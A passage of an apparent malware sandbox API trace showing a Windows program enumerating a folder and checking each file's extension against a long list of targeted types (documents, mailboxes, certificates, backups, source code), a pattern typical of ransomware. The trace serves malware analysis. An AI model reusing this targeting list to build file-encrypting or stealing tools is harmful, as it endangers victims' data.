(lpString1=".mos", lpString2=".rtf") returned -1 [0061.861] lstrlenW (lpString=".mov") returned 4 [0061.861] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0061.861] lstrlenW (lpString=".mp3") returned 4 [0061.861] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0061.861] lstrlenW (lpString=".mp4") returned 4 [0061.861] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0061.861] lstrlenW (lpString=".mpeg") returned 5 [0061.861] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0061.861] lstrlenW (lpString=".mpg") returned 4 [0061.862] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0061.862] lstrlenW (lpString=".mpv") returned 4 [0061.862] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0061.862] lstrlenW (lpString=".mrw") returned 4 [0061.862] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0061.862] lstrlenW (lpString=".msg") returned 4 [0061.862] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0061.862] lstrlenW (lpString=".mxl") returned 4 [0061.862] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0061.862] lstrlenW (lpString=".myd") returned 4 [0061.862] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0061.862] lstrlenW (lpString=".myi") returned 4 [0061.862] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0061.862] lstrlenW (lpString=".nef") returned 4 [0061.862] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0061.862] lstrlenW (lpString=".nrw") returned 4 [0061.862] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0061.862] lstrlenW (lpString=".obj") returned 4 [0061.862] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0061.862] lstrlenW (lpString=".odb") returned 4 [0061.862] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0061.862] lstrlenW (lpString=".odc") returned 4 [0061.862] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0061.862] lstrlenW (lpString=".odm") returned 4 [0061.862] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0061.862] lstrlenW (lpString=".odp") returned 4 [0061.862] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0061.862] lstrlenW (lpString=".ods") returned 4 [0061.862] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0061.862] lstrlenW (lpString=".oft") returned 4 [0061.862] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0061.862] lstrlenW (lpString=".one") returned 4 [0061.862] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0061.862] lstrlenW (lpString=".onepkg") returned 7 [0061.862] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0061.862] lstrlenW (lpString=".onetoc2") returned 8 [0061.862] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0061.863] lstrlenW (lpString=".opt") returned 4 [0061.863] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0061.863] lstrlenW (lpString=".oqy") returned 4 [0061.863] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0061.863] lstrlenW (lpString=".orf") returned 4 [0061.863] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0061.863] lstrlenW (lpString=".p12") returned 4 [0061.863] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0061.863] lstrlenW (lpString=".p7b") returned 4 [0061.863] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0061.863] lstrlenW (lpString=".p7c") returned 4 [0061.863] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0061.863] lstrlenW (lpString=".pam") returned 4 [0061.863] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0061.863] lstrlenW (lpString=".pbm") returned 4 [0061.863] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0061.863] lstrlenW (lpString=".pct") returned 4 [0061.863] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0061.863] lstrlenW (lpString=".pcx") returned 4 [0061.863] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0061.863] lstrlenW (lpString=".pdd") returned 4 [0061.863] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0061.863] lstrlenW (lpString=".pdf") returned 4 [0061.863] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0061.863] lstrlenW (lpString=".pdp") returned 4 [0061.863] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0061.863] lstrlenW (lpString=".pef") returned 4 [0061.863] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0061.863] lstrlenW (lpString=".pem") returned 4 [0061.863] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0061.863] lstrlenW (lpString=".pff") returned 4 [0061.863] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0061.863] lstrlenW (lpString=".pfm") returned 4 [0061.863] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0061.863] lstrlenW (lpString=".pfx") returned 4 [0061.863] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0061.864] lstrlenW (lpString=".pgm") returned 4 [0061.864] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0061.864] lstrlenW (lpString=".php") returned 4 [0061.864] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0061.864] lstrlenW (lpString=".php3") returned 5 [0061.864] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0061.864] lstrlenW (lpString=".php4") returned 5 [0061.864] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0061.864] lstrlenW (lpString=".php5") returned 5 [0061.864] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0061.864] lstrlenW (lpString=".phtml") returned 6 [0061.864] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0061.864] lstrlenW (lpString=".pict") returned 5 [0061.864] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0061.864] lstrlenW (lpString=".pl") returned 3 [0061.864] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0061.864] lstrlenW (lpString=".pls") returned 4 [0061.864] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0061.864] lstrlenW (lpString=".pm") returned 3 [0061.864] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0061.864] lstrlenW (lpString=".png") returned 4 [0061.864] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0061.864] lstrlenW (lpString=".pnm") returned 4 [0061.864] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0061.864] lstrlenW (lpString=".pot") returned 4 [0061.864] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0061.864] lstrlenW (lpString=".potm") returned 5 [0061.864] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0061.864] lstrlenW (lpString=".potx") returned 5 [0061.864] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0061.864] lstrlenW (lpString=".ppa") returned 4 [0061.864] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0061.864] lstrlenW (lpString=".ppam") returned 5 [0061.864] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0061.864] lstrlenW (lpString=".ppm") returned 4 [0061.864] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0061.864] lstrlenW (lpString=".pps") returned 4 [0061.865] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0061.865] lstrlenW (lpString=".ppsm") returned 5 [0061.865] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0061.865] lstrlenW (lpString=".ppt") returned 4 [0061.865] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0061.865] lstrlenW (lpString=".pptm") returned 5 [0061.865] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0061.865] lstrlenW (lpString=".pptx") returned 5 [0061.865] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0061.865] lstrlenW (lpString=".prn") returned 4 [0061.865] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0061.865] lstrlenW (lpString=".ps") returned 3 [0061.865] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0061.865] lstrlenW (lpString=".psb") returned 4 [0061.865] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0061.865] lstrlenW (lpString=".psd") returned 4 [0061.865] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0061.865] lstrlenW (lpString=".pst") returned 4 [0061.865] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0061.865] lstrlenW (lpString=".ptx") returned 4 [0061.865] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0061.865] lstrlenW (lpString=".pub") returned 4 [0061.865] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0061.865] lstrlenW (lpString=".pwm") returned 4 [0061.865] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0061.865] lstrlenW (lpString=".pxr") returned 4 [0061.865] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0061.865] lstrlenW (lpString=".py") returned 3 [0061.865] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0061.865] lstrlenW (lpString=".qt") returned 3 [0061.865] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0061.865] lstrlenW (lpString=".r3d") returned 4 [0061.865] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0061.865] lstrlenW (lpString=".raf") returned 4 [0061.865] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0061.865] lstrlenW (lpString=".rar") returned 4 [0061.865] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0061.866] FindNextFileW (in: hFindFile=0x583088, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12fb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0061.866] FindNextFileW (in: hFindFile=0x583088, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0061.866] FindNextFileW (in: hFindFile=0x583088, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0061.866] FindClose (in: hFindFile=0x583088 | out: hFindFile=0x583088) returned 1 [0061.866] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0061.866] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1031", cAlternateFileName="")) returned 1 [0061.866] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d70938 [0061.866] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031") returned 26 [0061.866] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x582ec8 [0061.867] FindNextFileW (in: hFindFile=0x582ec8, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.867] FindNextFileW (in: hFindFile=0x582ec8, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0061.867] lstrlenW (lpString="eula.rtf") returned 8 [0061.867] lstrlenW (lpString=".1cd") returned 4 [0061.867] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0061.867] lstrlenW (lpString=".3ds") returned 4 [0061.867] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0061.867] lstrlenW (lpString=".3fr") returned 4 [0061.868] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0061.868] lstrlenW (lpString=".3g2") returned 4 [0061.868] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0061.868] lstrlenW (lpString=".3gp") returned 4 [0061.868] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0061.868] lstrlenW (lpString=".7z") returned 3 [0061.868] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0061.868] lstrlenW (lpString=".accda") returned 6 [0061.868] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0061.868] lstrlenW (lpString=".accdb") returned 6 [0061.868] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0061.868] lstrlenW (lpString=".accdc") returned 6 [0061.868] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0061.868] lstrlenW (lpString=".accde") returned 6 [0061.868] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0061.868] lstrlenW (lpString=".accdt") returned 6 [0061.868] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0061.868] lstrlenW (lpString=".accdw") returned 6 [0061.868] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0061.868] lstrlenW (lpString=".adb") returned 4 [0061.868] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0061.868] lstrlenW (lpString=".adp") returned 4 [0061.868] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0061.868] lstrlenW (lpString=".ai") returned 3 [0061.868] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0061.868] lstrlenW (lpString=".ai3") returned 4 [0061.869] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0061.869] lstrlenW (lpString=".ai4") returned 4 [0061.869] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0061.869] lstrlenW (lpString=".ai5") returned 4 [0061.869] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0061.869] lstrlenW (lpString=".ai6") returned 4 [0061.869] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0061.869] lstrlenW (lpString=".ai7") returned 4 [0061.869] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0061.869] lstrlenW (lpString=".ai8") returned 4 [0061.869] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0061.869] lstrlenW (lpString=".anim") returned 5 [0061.869] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0061.869] lstrlenW (lpString=".arw") returned 4 [0061.869] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0061.869] lstrlenW (lpString=".as") returned 3 [0061.869] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0061.869] lstrlenW (lpString=".asa") returned 4 [0061.869] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0061.869] lstrlenW (lpString=".asc") returned 4 [0061.869] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0061.869] lstrlenW (lpString=".ascx") returned 5 [0061.869] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0061.869] lstrlenW (lpString=".asm") returned 4 [0061.869] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0061.869] lstrlenW (lpString=".asmx") returned 5 [0061.869] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0061.869] lstrlenW (lpString=".asp") returned 4 [0061.869] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0061.869] lstrlenW (lpString=".aspx") returned 5 [0061.869] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0061.869] lstrlenW (lpString=".asr") returned 4 [0061.869] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0061.869] lstrlenW (lpString=".asx") returned 4 [0061.869] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0061.870] lstrlenW (lpString=".avi") returned 4 [0061.870] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0061.870] lstrlenW (lpString=".avs") returned 4 [0061.870] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0061.870] lstrlenW (lpString=".backup") returned 7 [0061.870] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0061.870] lstrlenW (lpString=".bak") returned 4 [0061.870] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0061.870] lstrlenW (lpString=".bay") returned 4 [0061.870] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0061.870] lstrlenW (lpString=".bd") returned 3 [0061.870] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0061.870] lstrlenW (lpString=".bin") returned 4 [0061.870] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0061.870] lstrlenW (lpString=".bmp") returned 4 [0061.870] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0061.870] lstrlenW (lpString=".bz2") returned 4 [0061.870] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0061.870] lstrlenW (lpString=".c") returned 2 [0061.870] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0061.870] lstrlenW (lpString=".cdr") returned 4 [0061.870] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0061.870] lstrlenW (lpString=".cer") returned 4 [0061.870] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0061.870] lstrlenW (lpString=".cf") returned 3 [0061.870] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0061.870] lstrlenW (lpString=".cfc") returned 4 [0061.870] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0061.870] lstrlenW (lpString=".cfm") returned 4 [0061.870] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0061.870] lstrlenW (lpString=".cfml") returned 5 [0061.870] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0061.870] lstrlenW (lpString=".cfu") returned 4 [0061.870] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0061.870] lstrlenW (lpString=".chm") returned 4 [0061.870] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0061.870] lstrlenW (lpString=".cin") returned 4 [0061.871] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0061.871] lstrlenW (lpString=".class") returned 6 [0061.871] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0061.871] lstrlenW (lpString=".clx") returned 4 [0061.871] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0061.871] lstrlenW (lpString=".config") returned 7 [0061.871] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0061.871] lstrlenW (lpString=".cpp") returned 4 [0061.871] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0061.871] lstrlenW (lpString=".cr2") returned 4 [0061.871] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0061.871] lstrlenW (lpString=".crt") returned 4 [0061.871] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0061.871] lstrlenW (lpString=".crw") returned 4 [0061.871] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0061.871] lstrlenW (lpString=".cs") returned 3 [0061.871] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0061.871] lstrlenW (lpString=".css") returned 4 [0061.871] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0061.871] lstrlenW (lpString=".csv") returned 4 [0061.871] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0061.871] lstrlenW (lpString=".cub") returned 4 [0061.871] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0061.871] lstrlenW (lpString=".dae") returned 4 [0061.871] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0061.871] lstrlenW (lpString=".dat") returned 4 [0061.871] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0061.871] lstrlenW (lpString=".db") returned 3 [0061.871] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0061.871] lstrlenW (lpString=".dbf") returned 4 [0061.871] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0061.871] lstrlenW (lpString=".dbx") returned 4 [0061.871] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0061.871] lstrlenW (lpString=".dc3") returned 4 [0061.871] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0061.871] lstrlenW (lpString=".dcm") returned 4 [0061.871] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0061.872] lstrlenW (lpString=".dcr") returned 4 [0061.872] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0061.872] lstrlenW (lpString=".der") returned 4 [0061.872] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0061.872] lstrlenW (lpString=".dib") returned 4 [0061.872] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0061.872] lstrlenW (lpString=".dic") returned 4 [0061.872] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0061.872] lstrlenW (lpString=".dif") returned 4 [0061.872] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0061.872] lstrlenW (lpString=".divx") returned 5 [0061.872] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0061.872] lstrlenW (lpString=".djvu") returned 5 [0061.872] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0061.872] lstrlenW (lpString=".dng") returned 4 [0061.872] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0061.872] lstrlenW (lpString=".doc") returned 4 [0061.872] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0061.872] lstrlenW (lpString=".docm") returned 5 [0061.872] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0061.872] lstrlenW (lpString=".docx") returned 5 [0061.872] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0061.872] lstrlenW (lpString=".dot") returned 4 [0061.872] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0061.872] lstrlenW (lpString=".dotm") returned 5 [0061.872] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0061.872] lstrlenW (lpString=".dotx") returned 5 [0061.872] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0061.872] lstrlenW (lpString=".dpx") returned 4 [0061.872] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0061.872] lstrlenW (lpString=".dqy") returned 4 [0061.872] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0061.872] lstrlenW (lpString=".dsn") returned 4 [0061.872] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0061.872] lstrlenW (lpString=".dt") returned 3 [0061.872] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0061.872] lstrlenW (lpString=".dtd") returned 4 [0061.873] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0061.873] lstrlenW (lpString=".dwg") returned 4 [0061.873] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0061.873] lstrlenW (lpString=".dwt") returned 4 [0061.873] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0061.873] lstrlenW (lpString=".dx") returned 3 [0061.873] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0061.873] lstrlenW (lpString=".dxf") returned 4 [0061.873] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0061.873] lstrlenW (lpString=".edml") returned 5 [0061.873] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0061.873] lstrlenW (lpString=".efd") returned 4 [0061.873] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0061.873] lstrlenW (lpString=".elf") returned 4 [0061.873] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0061.873] lstrlenW (lpString=".emf") returned 4 [0061.873] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0061.873] lstrlenW (lpString=".emz") returned 4 [0061.873] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0061.873] lstrlenW (lpString=".epf") returned 4 [0061.873] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0061.873] lstrlenW (lpString=".eps") returned 4 [0061.873] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0061.873] lstrlenW (lpString=".epsf") returned 5 [0061.873] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0061.873] lstrlenW (lpString=".epsp") returned 5 [0061.873] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0061.873] lstrlenW (lpString=".erf") returned 4 [0061.873] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0061.873] lstrlenW (lpString=".exr") returned 4 [0061.873] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0061.873] lstrlenW (lpString=".f4v") returned 4 [0061.873] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0061.873] lstrlenW (lpString=".fido") returned 5 [0061.873] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0061.873] lstrlenW (lpString=".flm") returned 4 [0061.873] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0061.874] lstrlenW (lpString=".flv") returned 4 [0061.874] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0061.874] lstrlenW (lpString=".frm") returned 4 [0061.874] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0061.874] lstrlenW (lpString=".fxg") returned 4 [0061.874] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0061.874] lstrlenW (lpString=".geo") returned 4 [0061.874] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0061.874] lstrlenW (lpString=".gif") returned 4 [0061.874] lstrcmpiW (lpString1=".gif", 